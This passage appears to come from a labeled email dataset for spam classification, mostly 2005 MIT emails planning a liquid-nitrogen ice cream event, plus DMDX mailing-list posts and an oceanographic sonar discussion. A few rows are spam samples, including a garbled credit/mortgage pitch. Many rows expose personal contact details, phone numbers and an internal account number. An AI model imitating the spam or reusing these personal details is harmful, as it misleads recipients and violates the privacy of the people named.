,rradez@mit.edu,"Sat, 02 Apr 2005 19:15:59 -0500",Re: Dewar Hoses?,"I think we should go the one with the spiral armor. Is 3' good?.... the next size is 6' at $217 -Dave Scott Johnston wrote: >On Sat, Apr 02, 2005 at 02:58:00PM -0500, David Moore-Pitman wrote: > > > >>Would either of you know where we can get two dewar hoses? Also, do >>dewar hoses have a standard, or do I need to know the adapter >> >> > >Looks like you want either McMaster P/N 54935K19 (no armor) or >P/N 54935K29 (spiral armor, like the one I crufted). They are >$126.75 and $141.23 respectively. These are the 3-ft versions. > >McMaster doesn't sell the phase separators. VWR does but they're >about $150, so don't bother. > >Scott > > > ",0,0 Drummond Ricardo ,"DMDX@psy1.psych.arizona.edu, bettye@psy1.psych.arizona.edu, mindy@psy1.psych.arizona.edu, dustin@psy1.psych.arizona.edu, jerry@psy1.psych.arizona.edu, eddie@psy1.psych.arizona.edu","Sat, 02 Apr 2005 22:36:06 -0500",Take twice as long to eat half as much,"or inexplicit in aluminate in erosible the bolshevist but roy ",1,0 Taras Bartkowiak ,DMDX@psy1.psych.arizona.edu,"Sun, 03 Apr 2005 05:45:16 -0700",Re: raoos news,"D l ear Home Ow q ne e r , Your c e redi o t doesn't matter to us ! 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A spatial negative priming paradigm, where subjects select a target on the basis of some characteristic (e.g., colour), and report its location via key-press or joystick, etc. Cheers, Bruce -- Bruce Weaver bweaver@lakeheadu.ca www.angelfire.com/wv/bwhomedir ",0,0 Bruce Weaver ,DMDX@psy1.psych.arizona.edu,"Mon, 04 Apr 2005 12:47:31 -0400",[DMDX] Re: Inhibition of return and spatial negative priming,"That should have read, ""Has ANYONE programmed..."", of course. Bruce Weaver wrote: > Hello folks. Has programmed either of the following with DMDX? > > 1. A basic attentional cuing paradigm as in the Posner & Cohen (1984) > chapter on inhibition of return. > > 2. A spatial negative priming paradigm, where subjects select a target > on the basis of some characteristic (e.g., colour), and report its > location via key-press or joystick, etc. > > Cheers, > Bruce -- Bruce Weaver bweaver@lakeheadu.ca www.angelfire.com/wv/bwhomedir ",0,0 Rob Radez ,john.jordan@airgas.COM,"Mon, 04 Apr 2005 11:08:49 -0400",LN2 Order,"Good morning Mr. Jordan, I would like to order two 230 liter low pressure dewars of LN2, to be delivered to the lobby of W34 during the day of Thursday, 4/7 and picked up from the lobby of W34 during the morning of Friday, 4/8, to be paid for with the internal MIT account of 2720000. The safety plan is attached and has been Safety-office approved. Sorry for the short notice, Rob Radez -- Rob Radez MIT Class of 2006 rradez@mit.edu East Campus ",0,0 John Jordan ,Rob Radez ,"Mon, 04 Apr 2005 13:05:41 -0400",RE: LN2 Order," Rod, These can be ordered on ECAT or faxing me a paper requisition to 3-4968 or you can mail it to me @ 56-022. Thanks John -----Original Message----- From: Rob Radez [mailto:rradez@mit.edu] Sent: Monday, April 04, 2005 11:09 AM To: John Jordan Cc: rradez@mit.edu Subject: LN2 Order Good morning Mr. Jordan, I would like to order two 230 liter low pressure dewars of LN2, to be delivered to the lobby of W34 during the day of Thursday, 4/7 and picked up from the lobby of W34 during the morning of Friday, 4/8, to be paid for with the internal MIT account of 2720000. The safety plan is attached and has been Safety-office approved. Sorry for the short notice, Rob Radez -- Rob Radez MIT Class of 2006 rradez@mit.edu East Campus ",0,0 Dave Moore Pitman ,rradez@mit.edu,"Mon, 04 Apr 2005 11:20:12 -0600",FW: LN2 Hose order,"Rob- Here's the ""receipt"" I got, in all its HTML goodness. Let me know if you need a paper copy. -Dave   >From: nj.sales@mcmaster.com >To: djwildwater@hotmail.com >Subject: Update about your order from 4/4/2005 >Date: 4 Apr 2005 06:09:11 -0500 > > Thank you for placing your order with McMaster-Carr. > > Ship To: > +----------+ > MIT > 3 Ames St. #1 > Cambridge, MA 02142 > > Ship to Attention: (None) > > Bill To: > +----------+ > > Bill to Attention: (None) > > Confirmation Number: 0403DPITMAN > Order Placed By: David Pitman > Shipping Method: Next Day Air > Payment Method: Credit card order using MasterCard (**** **** **** 1747) > > > Total Lines: 1 > > > Qty | Part Number/Description | Unit Price | Total Price | Ships >+-----------+---------------------------------+---------------+---------------+--------------- > 1 54935K29 - $141.23 $141.23 today > Extreme Temp SS Hose W/SS Braid > for Liquid Nitrogen, W/SS Fem > Fittings, W/Cover, 3'L, 1/2"" ID > > Merchandise: $141.23 > Shipping: $15.25 > Your credit card will be charged: $156.48",0,0 Matt McGann ,Rob Radez ,"Mon, 04 Apr 2005 18:42:36 -0500",Re: CPW Festival: East Campus Second West,"DAPER: try Sandy Lett . If she's not the person, she can definitely direct you to the right person. Do you only need W11 or do you also need McCormick? How early do you want to get into W11? Thanks! -- Matt >Howdy Matt, >Thanks for the mail. We're in contact with Safety but I'm not sure of >the current proper person to contact in DAPER regarding certain >logistics (namely whether it's alright for us to get Dewars delivered >earlier in the day again, and returning them the next morning). Also, >when would we get access to the chapel kitchen? > >Thanks, >Rob > >On Thu, Mar 31, 2005 at 12:09:49PM -0500, Matt McGann wrote: >> >> Rob, You are approved for $1991 for CryoFAC at CPW Festival. Please >> make all arrangements for supplies and safety directly with the >> appropriate parties. Let us know if you need any assistance. >> >> -- Admissions CPW >> >> >------------------------------------------------------- >> >CPW FESTIVAL REGISTRATION >> > >> >Sponsor: East Campus Second West >> >Contact Person: Rob Radez >> >Contact Email: rradez@mit.edu >> >Event Name: CryoFac >> > >> >Event Description: >> >----------------- >> >Liquid Nitrogen ice cream for everyone >> > >> >Space required: 100 ft. x 100 ft. >> > >> >Additonal utilities: >> >Lobby of Johnson >> >7 long tables >> >Kitchen space (chapel kitchen would be great again) >> >6 Electrical outlets >> > >> >Requesting funding from Admissions? Y >> > >> >Itemized Budget: >> >--------------- >> >Ice Carving: $240 >> > 6 blocks: $240 >> > >> >General Supplies: $486 >> > 4 Tarps: $120 >> > 9 pairs industrial rubber gloves: $90 >> > 9 pairs safety goggles: $45 >> > 4 rolls of duct tape: $10 >> > 6 large, strong wooden/pyrex spoons: $45 >> > *spoons must be durable because they break in the super cold >> > temperature, chandler has 10 from 2004* >> > 4 pots: $120 >> > 2 large bottles of dish soap: $10 >> > 10 sponges: $10 >> > Gel: $36 >> > >> >Serving: $200 >> > 1500 styrofoam bowls: $60 >> > 1500 spoons: $40 >> > 40 aluminum baking trays: $40 >> > 6 serving spoons: $20 >> > *chandler has 5 from 2004* >> > 2000 napkins: $20 >> > 1000 paper towels: $20 >> > >> >Toppings: $140 >> > 15 cans whipped cream: $45 >> > 3 large jars of sprinkles: $20 >> > 15 various flavors of syrup: $75 >> > >> >Ingredients: $925 >> > 20 gallons heavy cream: $300 >> > 20 gallons whole milk: $60 >> > 6 cubes of eggs (~540): $55 >> > 100 lbs. of sugar: $50 >> > 6 giant bottles of vanilla extract: $60 >> > 24 C of cocoa: $50 >> > Various flavorings (frozen strawberries, mangoes, >> >pistachio, lemon, cookie dough): $250 >> > LN2: $100 >> > >> >To Be Provided >> > 7 large tables EC >> > Light and Sound Equipment EC >> > Jumpsuits, rainslickers EC >> > 3 pots EC >> > Refrigeration & kitchen storage space >> > Dolly EC >> > Mop, cleaning supplies >> > Ice carving tools EC >> > Many Trash cans DAPER >> > >> >Ice Cream for 1200 People = Total: $1991 >> > >> > >> >------------------------------------------------------- >> >NOTE: This message was sent using a WWW form. The address >> >rradez@mit.edu was typed manually, and may easily be incorrect. >> > >-- >Rob Radez MIT Class of 2006 >rradez@mit.edu East Campus",0,0 Rob Radez ,Matt McGann ,"Mon, 04 Apr 2005 19:33:18 -0400",Re: CPW Festival: East Campus Second West,"I think we just need W11, ideally starting sometime early afternoon. Also, will the money be transferred to our account or will we be running reimbursements through someone else? Rob On Mon, Apr 04, 2005 at 06:42:36PM -0500, Matt McGann wrote: > > DAPER: try Sandy Lett . If she's not the person, she can > definitely direct you to the right person. > > Do you only need W11 or do you also need McCormick? How early do you > want to get into W11? > > Thanks! > -- Matt > > > > >Howdy Matt, > >Thanks for the mail. We're in contact with Safety but I'm not sure of > >the current proper person to contact in DAPER regarding certain > >logistics (namely whether it's alright for us to get Dewars delivered > >earlier in the day again, and returning them the next morning). Also, > >when would we get access to the chapel kitchen? > > > >Thanks, > >Rob > > > >On Thu, Mar 31, 2005 at 12:09:49PM -0500, Matt McGann wrote: > >> > >> Rob, You are approved for $1991 for CryoFAC at CPW Festival. Please > >> make all arrangements for supplies and safety directly with the > >> appropriate parties. Let us know if you need any assistance. > >> > >> -- Admissions CPW > >> > >> >------------------------------------------------------- > >> >CPW FESTIVAL REGISTRATION > >> > > >> >Sponsor: East Campus Second West > >> >Contact Person: Rob Radez > >> >Contact Email: rradez@mit.edu > >> >Event Name: CryoFac > >> > > >> >Event Description: > >> >----------------- > >> >Liquid Nitrogen ice cream for everyone > >> > > >> >Space required: 100 ft. x 100 ft. > >> > > >> >Additonal utilities: > >> >Lobby of Johnson > >> >7 long tables > >> >Kitchen space (chapel kitchen would be great again) > >> >6 Electrical outlets > >> > > >> >Requesting funding from Admissions? Y > >> > > >> >Itemized Budget: > >> >--------------- > >> >Ice Carving: $240 > >> > 6 blocks: $240 > >> > > >> >General Supplies: $486 > >> > 4 Tarps: $120 > >> > 9 pairs industrial rubber gloves: $90 > >> > 9 pairs safety goggles: $45 > >> > 4 rolls of duct tape: $10 > >> > 6 large, strong wooden/pyrex spoons: $45 > >> > *spoons must be durable because they break in the super cold > >> > temperature, chandler has 10 from 2004* > >> > 4 pots: $120 > >> > 2 large bottles of dish soap: $10 > >> > 10 sponges: $10 > >> > Gel: $36 > >> > > >> >Serving: $200 > >> > 1500 styrofoam bowls: $60 > >> > 1500 spoons: $40 > >> > 40 aluminum baking trays: $40 > >> > 6 serving spoons: $20 > >> > *chandler has 5 from 2004* > >> > 2000 napkins: $20 > >> > 1000 paper towels: $20 > >> > > >> >Toppings: $140 > >> > 15 cans whipped cream: $45 > >> > 3 large jars of sprinkles: $20 > >> > 15 various flavors of syrup: $75 > >> > > >> >Ingredients: $925 > >> > 20 gallons heavy cream: $300 > >> > 20 gallons whole milk: $60 > >> > 6 cubes of eggs (~540): $55 > >> > 100 lbs. of sugar: $50 > >> > 6 giant bottles of vanilla extract: $60 > >> > 24 C of cocoa: $50 > >> > Various flavorings (frozen strawberries, mangoes, > >> >pistachio, lemon, cookie dough): $250 > >> > LN2: $100 > >> > > >> >To Be Provided > >> > 7 large tables EC > >> > Light and Sound Equipment EC > >> > Jumpsuits, rainslickers EC > >> > 3 pots EC > >> > Refrigeration & kitchen storage space > >> > Dolly EC > >> > Mop, cleaning supplies > >> > Ice carving tools EC > >> > Many Trash cans DAPER > >> > > >> >Ice Cream for 1200 People = Total: $1991 > >> > > >> > > >> >------------------------------------------------------- > >> >NOTE: This message was sent using a WWW form. The address > >> >rradez@mit.edu was typed manually, and may easily be incorrect. > >> > > > >-- > >Rob Radez MIT Class of 2006 > >rradez@mit.edu East Campus > -- Rob Radez MIT Class of 2006 rradez@mit.edu East Campus",0,0 Marti F Bolivar ,Rob Radez ,"Tue, 05 Apr 2005 04:00:27 -0400",Re: things to do,"i volunteer kitchen bitch duty. and also definitely some cleanup but maybe not the entire time. mixing for a little while would be nice but is not necessary. -marti On Mar 31, 2005, at 11:15 PM, Rob Radez wrote: > > we're going to need many people in the kitchen helping prepare the ice > cream before it gets frozen. i promise that if you want to mix ln2 and > ice cream batter, you will be given the opportunity to. being in the > kitchen is one of the most important jobs. you don't have to do it all > night but every bit helps. > > we're going to need people serving the ice cream, and mixing it. > > we're going to need help cleaning everything up afterwards. > > rob ",0,0 Matt McGann ,"Rob Radez , harveyj@mit.edu","Tue, 05 Apr 2005 11:32:18 -0500",Re: CPW Festival: East Campus Second West," Ack! The W11 kitchen doesn't exist anymore... sigh. Tell me exactly what equipment and how much space you need, and we'll make it work. UPDATE: you have the coffeehouse kitchen/refrigeration space. Is that good? What more is needed? -- Matt ",0,0 Bruce Weaver ,DMDX@psy1.psych.arizona.edu,"Tue, 05 Apr 2005 15:21:50 -0400",[DMDX] Importing data to SPSS,"Matt Davis's script for importing data from .AZK files appears to produce a new file that has as a column of raw RTs for each subject. While this may be an improvement on the raw .AZK file, it is still not in the form needed for further processing in SPSS (or other stats packages). Perhaps SPSS users will find the following syntax file useful as an example of how to import directly to SPSS: http://www.angelfire.com/wv/bwhomedir/spss/import_from_AZK.txt It reads in the rows of the raw .AZK file as 80-character strings, then uses string manipulation functions to pull out the desired bits of information, and saves the data in a format that is amenable to further processing with the AGGREGAGE procedure. I also have it save the original string of info (about subject, scan rate, etc) so that if any of the info is needed, it can be easily obtained. Cheers, Bruce -- Bruce Weaver bweaver@lakeheadu.ca www.angelfire.com/wv/bwhomedir ",0,1 Rob Radez ,"emsque@mit.edu, pr_abel@mit.edu, harveyj@mit.edu, edave@mit.edu","Tue, 05 Apr 2005 14:03:18 -0400",cryofac spending so far,"i've gotten an invoice from dave for the dewar hose. if you've spent money on cryofac, let me know how much and what for, and ideally give me the receipt for it. rob -- Rob Radez MIT Class of 2006 rradez@mit.edu East Campus ",0,0 Rob Radez ,Matt McGann ,"Tue, 05 Apr 2005 14:05:38 -0400",Re: CPW Festival: East Campus Second West,"On Tue, Apr 05, 2005 at 11:32:18AM -0500, Matt McGann wrote: > Ack! The W11 kitchen doesn't exist anymore... sigh. Tell me exactly > what equipment and how much space you need, and we'll make it work. > > UPDATE: you have the coffeehouse kitchen/refrigeration space. Is > that good? What more is needed? Coffeehouse should be plenty good. I'll be contacting Sandy Lett about when we can get into the lobby of Johnson. Thanks Matt, Rob -- Rob Radez MIT Class of 2006 rradez@mit.edu East Campus ",0,0 Rob Radez ,slett@mit.edu,"Tue, 05 Apr 2005 14:14:31 -0400",CPW Welcome Fair,"Good afternoon Ms. Lett, Matt McGann gave me your name as the person in DAPER to contact regarding the CPW welcome party this Thursday night. As part of this, for the past two years Admissions has had my hall at East Campus provide liquid nitrogen ice cream to the pre-frosh. Once again this year, we need to get two dewars of liquid nitrogen delivered early in the day and have one of us sitting by it until that evening, and we also need to setup our equipment beforehand along with borrowing some of the Tensa-barrier equipment from DAPER to do crowd-control. After the event, we need to store the dewars overnight until Airgas can come pick them up Friday morning. I hope that this does not cause any problems and I apologize for contacting you with such short notice. Regards, Rob Radez -- Rob Radez MIT Class of 2006 rradez@mit.edu East Campus ",0,0 Rob Radez ,"thinker@mit.edu, carboxyl@mit.edu","Tue, 05 Apr 2005 14:15:09 -0400",CPW welcome party,"do either of you have any interest in spinning thursday night at the cpw welcome party for cryofac? sorry for contacting you so late, rob -- Rob Radez MIT Class of 2006 rradez@mit.edu East Campus ",0,0 """marcos.a.ojeda"" ",Rob Radez ,"Tue, 05 Apr 2005 14:24:55 -0400",Re: CPW welcome party,"I'm game, you should also to hit up ssundar@mit.edu, he was on my show last night and put on a very cool set. -- On Tue, Apr 05, 2005 at 02:15:09PM -0400, Rob Radez wrote: > do either of you have any interest in spinning thursday night at the cpw > welcome party for cryofac? > > sorry for contacting you so late, > rob > > -- > Rob Radez MIT Class of 2006 > rradez@mit.edu East Campus ",0,0 Emily M Levesque ,rradez@mit.edu,"Tue, 05 Apr 2005 14:29:27 -0400",Home Depot receipts,"Hey - I have receipts for the two Home Depot trips, which come to $408.21. That covers: 4 Tarps 2 big non-stick mats 9 pairs industrial rubber gloves 4 rolls of duct tape 5 yellow suits (we already had 4). We already have 7 pairs of safety goggles which should be enough. The CostCo trip (leaving at 4:30) will cover everything under serving, toppings, and ingredients except for the dairy and LN2. We'll also get dish soap, sponges, and whatever ""Gel"" is. What's gel??? Last time I counted there were at least five pots lurking around EC. I'll try and get a hard count before we leave to see how many we should buy. ~Em ",0,0 Rob Radez ,Emily M Levesque ,"Tue, 05 Apr 2005 14:34:48 -0400",Re: Home Depot receipts,"On Tue, Apr 05, 2005 at 02:29:27PM -0400, Emily M Levesque wrote: > The CostCo trip (leaving at 4:30) will cover everything under serving, > toppings, and ingredients except for the dairy and LN2. We'll also get > dish soap, sponges, and whatever ""Gel"" is. What's gel??? > Last time I counted there were at least five pots lurking around EC. > I'll try and get a hard count before we leave to see how many we should > buy. gel is lighting gel. don't worry about buying it, i'll acquire it. rob -- Rob Radez MIT Class of 2006 rradez@mit.edu East Campus ",0,0 Daniel Martin ,rradez@mit.edu,"Tue, 05 Apr 2005 15:29:41 -0400",Liquid Nitrogen,"Hi Robin, I wanted to discuss location and protection of facility for Nitrogen Ice Cream for CPW. Please give me a call at 3-5003 to discuss. If you miss me please leave a time when I can best reach you. Thanks! Go Tech! Daniel J. Martin Assistant Department Head and Director of Facilities and Operations Department of Athletics, Physical Education & Recreation Cambridge, MA. 02139-4307 MIT Box 397404 Building W35-296 Phone 617-253-5003 Fax 617-258-7343 Email djmartin@mit.edu ",0,0 mark feldmeier ,Rob Radez ,"Tue, 05 Apr 2005 18:02:45 -0400",Re: CPW welcome party,"sorry all my stuff is in storage and im very very rusty so its probablyu best if i dont spin hope alls well with you ",0,0 Eric Firing ,Rob Pinkel ,"Tue, 05 Apr 2005 18:36:14 -1000",Re: HDSS 50kHz ocean velocities,"Rob, To follow up on your message: Jules and I are now back from a cruise on the Kilo Moana; your message arrived just as we left. Phone contact will certainly be helpful, but there are a few points that I would like to clarify first. In earlier emails from the Revelle, Jules identified HDSS problems, from the standpoint of a potential user outside your group, in four categories: 1) The software and information available to a typical prospective user: misleading information on the web; lack of usable data access and processing software prior to her arrival, apart from Jody's invaluable file-reading and transformation routines; minimal documentation. 2) Bugs in the data acquisition system: some trivial but irritating, others resulting in data loss. 3) Bias inherent in estimating two horizontal velocity components from a 2-beam sonar, given correlated pitch and heave. 4) The fundamental velocity measurements: as far as we can tell, there are systematic errors in the basic measurement of velocity along each beam at the level of a few cm/s. The first two of these can be addressed in simple and obvious ways. The third is not present in the 140, and will vanish from the 50 when you get the two new beams installed. Congratulations on the good news that the new beams are funded! The fourth problem requires elaboration. It has been with great reluctance and puzzlement that we have arrived at the conclusion that there are basic velocity measurement problems; Jules and I initially assumed that the beam velocity measurements were perfect (that is, having negligible bias and no more than the expected uncorrelated measurement noise). On that assumption, Jules wrote programs to bring the HDSS data stream into our processing software (with Jodie's Matlab routines as the starting point for reading the data files and doing coordinate transformations). Starting from single-ping velocities relative to the ship, in beam or earth coordinates, the processing software yields vector-averaged velocity profiles relative to the ground, with editing, scale-factor calibration (with soundspeed corrections when necessary), and heading from Ashtech-corrected gyrocompass readings after an offset calibration. With data from other ADCPs, the result usually is a nearly seamless picture of the velocity structure along the cruise track, with little difference between on-station and off-station, with no need to discard data during accelerations, and with calibration factors that remain stable cruise after cruise. Applying the same software, the same transformation, calibration, and navigation methods, to the HDSS data, Jules was unable to produce such a self-consistent velocity product. What was the problem? First Jules looked at every aspect of the data stream and low-level processing. We have not yet found any error at the lowest levels--reading the files and transforming the velocities--that could account for the problems. Next, we thought about the problems peculiar to having only two beams. Given our assumption that the underlying velocity measurements were unbiased, this was the obvious candidate. Indeed, I am convinced that the problem of bias owing to correlated pitch and heave is significant, and would be difficult if not impossible to correct accurately. Calculations indicated, however, that the observed inconsistencies in the HDSS velocity estimates after our processing are too large to be caused solely by the 2-beam problems. Similarly, we could not account for the inconsistencies with any reasonable error in the assumed beam geometry. What was left? At this point, we were forced to reexamine the velocity estimates themselves. Jules has looked at HDSS-50 data from one HOT cruise, from the Nelson cruise preceeding P16S, and from P16S. She has also looked at HDSS-140 data from P16S. Here is a summary of the main points: 1) Both the 50 and the 140 show a bias towards water velocity in the aft direction, relative to the RDI NB-150, with the ship on station--ship velocity over the ground less than 0.5 m/s. On the 50, during the HOT cruise when the two forward beams were operational if not optimal, all four beams were biased at low speeds toward along-beam velocity away from the instrument; but the bias was larger in the aft-facing beams, hence the net bias toward velocity aft when all four beams were used. Looking at 3-beam solutions from the 140, one finds a bias towards negative W on station, also consistent with the bias toward velocity in each beam being away from the transducer. 2) Jules looked at the velocity profiles from the 50 on P16S, averaged over two layers: 100-250 m and 520-620 m. The difference between the layers is a measure of large-scale shear--let's call it ""shear"", even though it is still in velocity units. She compared this shear as measured on station versus underway. (This is a WOCE-style line, with more than 100 stations at 1/2-degree intervals.) There is a 4 cm/s difference, averaged over the cruise, in the meridional component of this vertically-integrated shear. Given that the entire cruise was a south-bound section, this appears to be a bias in the shear measurement in the direction of motion. There was no bias in the zonal component. 3) Visual comparison of on-station/off-station profiles from the Nelson cruise along the equator suggests a big difference in higher wavenumber shear (compared to the 200 to 600 m averaged shear considered in point 2); it appears that on this zonal section, the meridional shear estimates are higher underway. This aspect of the data is the one we have looked at the least, and are the least certain about. (The Nelson cruise data has other problems as well, and Jules has not spent as much time on it as on P16S.) So, consistency checks that do not depend in any sensitive way on navigation and data processing procedures lead directly to the conclusion that there are problems with the velocity profiles themselves. To verify this, you may wish to use your own software to do some similar checks. Look for systematically non-zero W from datasets with 3 or 4 beams. See whether you can get consistent horizontal velocity estimates from any two beams, when you have 3 or 4 available to check against. Using velocity profiles relative to a reference layer, look for differences in large to medium-scale shear between on-station and underway times. > data. It is important to identify whether the problems that you list > stem from a) acoustic / electronic issues, b) beam geometry uncertainty, > or c) ship navigation errors. We need more information than just a It is not (b) or (c). > If one had back-to-back Janus beams, wouldn't the bias in the beams be > of opposite sign ( has opposite sign since one beam tilts up & > one tilts down), such that the combined estimate of horizontal velocity > remains biased? Subtracting back-to-back Janus beams “to get the w out” > , and then averaging, is mathematically identical to averaging the beams > independently and then subtracting. Both approaches are biased, right? Calculations with a Janus pair are not subject to this bias, because the pair yields W and a horizontal velocity component. Similarly, 3-beam and 4-beam calculations are fine; W is part of the calculation. Calculations with a non-Janus pair, such as the aft-facing beams on the Revelle, yield one horizontal component and a component in the tilted plane of the beams. The problem comes only in this situation, from assuming W is zero when it is not. Even a small error in W yields a large error in the forward component (for the Revelle example), a little bit of which is rectified given correlated pitch. > That being said, why can't one use the TSS pitch and heave to calculate > the magnitude of this bias in real time and subtract it from the > horizontal velocity estimates. At depths below 200m, the actual w in the Possibly one could, taking care to transform the TSS pitch, roll, and heave into heave at the transducer, and making sure the measurements correspond to the time of the ping. Actually, the TSS heave as recorded by the HDSS would not be very helpful; it is elevation at the time of the ping, when what one needs is W, and it is not sampled often enough to provide a good estimate of W at the time of the ping. I hope the summary above--which is much longer than what I originally intended--is useful. For more detail and discussion, by all means, call. My number is 808 956 7894, and Jules is at 956 7037. Jules has all the data sets, calculations, routines, and plots. Eric",0,0 Keith Majoos ,DMDX@psy1.psych.arizona.edu,"Wed, 06 Apr 2005 21:16:12 +1000",[DMDX] Dell Inspiron 6000,"All, Some few months ago now someone inquired about a Dell Inspiron 6000, well I'm thinking of buying a Dell Inspiron 6000UMA 1600GT. (dont know what the UMA 1600GT means) Does anyone know if the 6000 range works. I think it was Anna Woollams who said she was going to ordered one. I'd really appreciate it if someone could let me know if it worked, especially the UMA 1600GT version. warm regards, Keith Majoos Univ New England Armidale, NSW Australia ",0,0 Quinn Mahoney ,rradez@MIT.EDU,"Wed, 06 Apr 2005 14:19:10 -0400",schedule?,"Do we have a schedule for cryofac? Like, when is the party exactly, when do we start set up, when is the LN2 supposed to get here? ",0,0 Matt McGann ,"s_hsu@mit.edu, darragh@mit.edu, Grace Lo , rradez@mit.edu, engt@mit.edu, brads@mit.edu, ksa-exec@mit.edu, sasen@mit.edu, wuster@mit.edu, bwagner@mit.edu, juggleofficers@mit.edu, hawksley@mit.edu, pressler@mit.edu, askjarthur@mit.edu, askjarthur@mit.edu, savetfp@mit.edu, richsinn@mit.edu, clayward@mit.edu, Mark M Tobenkin , amirh@mit.edu, bryand@mit.edu, ""Jonathan R. Harris"" , Kate Tucker , leet@mit.edu, ltian@mit.edu, toons-request@mit.edu, wuster@mit.edu, richsinn@mit.edu, hiphopallstars@mit.edu, dt-officers@mit.edu, juggleofficers@mit.edu, heera@mit.MIT.EDU, myam@mit.MIT.EDU, stephcho@mit.edu, diggr16@mit.edu, ria@mit.edu","Wed, 06 Apr 2005 19:00:44 -0400",CPW Festival tomorrow," Find attached the layout for tomorrow's festival. Johnson will be available for you to set up at 6pm. Please have everything for your group complete and ready to go by 9pm. I'm really very excited for the Festival, which I think is the best event at CPW. What makes it the best event is your participation and enthusiasm. THANK YOU! Also, the performance schedule: 9:30pm Toons 9:45pm Lion Dance 10:00pm Sport Taekwondo 10:15pm Dance Troupe 10:30pm Juggling 10:45pm Bhangra 11:00pm Resonance 11:15pm Muses 11:30pm Logs 11:45pm Filipino Students Assn. Let me know if you have any questions or concerns. Thanks again. -- Matt -- Matthew L. McGann '00 Assistant Director of Admissions Massachusetts Institute of Technology http://admissions.mit.edu 617.258.5507 mcgann@mit.edu",0,1 Rob Radez ,ssundar@mit.edu,"Wed, 06 Apr 2005 20:42:58 -0400",Re: CPW welcome party,"Howdy, Sorry for asking on such short notice, but would you be interested in spinning at the CPW welcome party tomorrow night? I'm not sure if you've seen the emails going around about Cryofac, but we're making LN2 ice cream for all the prefrosh and we've normally got music going on also. Marcos recommended that I ask you. Rob On Tue, Apr 05, 2005 at 02:24:55PM -0400, marcos.a.ojeda wrote: > I'm game, you should also to hit up ssundar@mit.edu, he was on my show last > night and put on a very cool set. > -- > > On Tue, Apr 05, 2005 at 02:15:09PM -0400, Rob Radez wrote: > > do either of you have any interest in spinning thursday night at the cpw > > welcome party for cryofac? > > > > sorry for contacting you so late, > > rob > > > > -- > > Rob Radez MIT Class of 2006 > > rradez@mit.edu East Campus -- Rob Radez MIT Class of 2006 rradez@mit.edu East Campus ",0,0 Siddharth Sundar ,Rob Radez ,"Wed, 06 Apr 2005 21:42:28 -0400",Re: CPW welcome party,"Sure, Where and when would it be? What about the equipment setup? Sid Quoting Rob Radez : > Howdy, > Sorry for asking on such short notice, but would you be interested in > spinning at the CPW welcome party tomorrow night? I'm not sure if > you've seen the emails going around about Cryofac, but we're making LN2 > ice cream for all the prefrosh and we've normally got music going on > also. Marcos recommended that I ask you. > > Rob > > On Tue, Apr 05, 2005 at 02:24:55PM -0400, marcos.a.ojeda wrote: > > I'm game, you should also to hit up ssundar@mit.edu, he was on my show last > > > night and put on a very cool set. > > -- > > > > On Tue, Apr 05, 2005 at 02:15:09PM -0400, Rob Radez wrote: > > > do either of you have any interest in spinning thursday night at the cpw > > > welcome party for cryofac? > > > > > > sorry for contacting you so late, > > > rob > > > > > > -- > > > Rob Radez MIT Class of 2006 > > > rradez@mit.edu East Campus > > -- > Rob Radez MIT Class of 2006 > rradez@mit.edu East Campus >",0,0 Gabriel Lopez-Betanzos ,putz@MIT.EDU,"Wed, 06 Apr 2005 23:41:55 -0400",make me a box!,"CryoFAC is tomorrow, which means I need a box made. Here's the concept: CryoFAC is traditionally advertised on campus the evening of the event by someone wearing a sort-of four-sided sandwich board made from a cardboard box (box with signs on it + straps). The past two years I've made this more fun by wearing little else in addition to the box. Being lazy and devoid of artistic talent, I leave it to someone else to actually make the box for me. That's where you come in. Find a box big enough for me, attach straps, and make it a billboard for CryoFAC. Try to make the stuff on the box really big so people can read it. no box, no gabi roaming the infinite sketching out prefrosh and their parents, so get to it! Thanks, Gabi ",0,0 Craig Richardson ,DMDX@psy1.psych.arizona.edu,"Thu, 07 Apr 2005 16:49:57 +1000",[DMDX] Version 3.1.2.6,"Hi Jonathan, I've tried to download version 3.1.2.6 from http://www.u.arizona.edu/~jforster/dmdx/ however it seems to deliver 3.1.2.4 Is there another URL or has this version not been posted yet? cheers, Craig -- Craig Richardson Systems Administrator Macquarie Centre for Cognitive Science Macquarie University Phone : +61 2 9850 6730 Fax : +61 2 9850 6059 Web : http://www.maccs.mq.edu.au ",0,1 Rob Radez ,Siddharth Sundar ,"Thu, 07 Apr 2005 00:44:49 -0400",Re: CPW welcome party,"Lobby of Johnson, event starts at about 9:30pm (we'd probably be starting a little after that, say 9:45pm), setup starts around 6pm. I believe Marcos will be bringing his tables at some point (but I'm not sure when). Thanks, Rob On Wed, Apr 06, 2005 at 09:42:28PM -0400, Siddharth Sundar wrote: > Sure, Where and when would it be? What about the equipment setup? > > Sid > > > > Quoting Rob Radez : > > > Howdy, > > Sorry for asking on such short notice, but would you be interested in > > spinning at the CPW welcome party tomorrow night? I'm not sure if > > you've seen the emails going around about Cryofac, but we're making LN2 > > ice cream for all the prefrosh and we've normally got music going on > > also. Marcos recommended that I ask you. > > > > Rob > > > > On Tue, Apr 05, 2005 at 02:24:55PM -0400, marcos.a.ojeda wrote: > > > I'm game, you should also to hit up ssundar@mit.edu, he was on my show last > > > > > night and put on a very cool set. > > > -- > > > > > > On Tue, Apr 05, 2005 at 02:15:09PM -0400, Rob Radez wrote: > > > > do either of you have any interest in spinning thursday night at the cpw > > > > welcome party for cryofac? > > > > > > > > sorry for contacting you so late, > > > > rob > > > > > > > > -- > > > > Rob Radez MIT Class of 2006 > > > > rradez@mit.edu East Campus > > > > -- > > Rob Radez MIT Class of 2006 > > rradez@mit.edu East Campus > > > > > -- Rob Radez MIT Class of 2006 rradez@mit.edu East Campus",0,0 Harvey Jones ,"putz@mit.edu, cryofac@mit.edu","Thu, 07 Apr 2005 00:55:04 -0400",CryoFAC 2005,"CryoFAC is tomorrow. It will be awesome. I'd like people to be staking out the Johnson lobby from roughly 11AM till the event. Please please email me to volunteer for shifts. I won't stick you there the whole day, promise. Everyone else, meet on Putz at 6:00. People will tell you what to do. We will need lots of carry-ers and lots and lots of setup help. Cleanup starts at midnight. Be there. Seriously. Someone please mail galb about making him a box. I'm going to try to be in cell phone contact all day, except from 1-3. If there's an emergency, I'll know what to do, or at least who to ask. 617-803-8273. LN2 will be delivered sometime tomorrow. ladaher and I are doing a dairy run. All the materials have been bought. Things are going to be awesome. Harvey ",0,0 KEVIN GLOVER ,DMDX@psy1.psych.arizona.edu,"Thu, 07 Apr 2005 14:00:22 +0100",[DMDX] SPC File: Low Cut-off / Screen Prints,"I need help with a couple of issues arising from my use of DMDX in a lexical 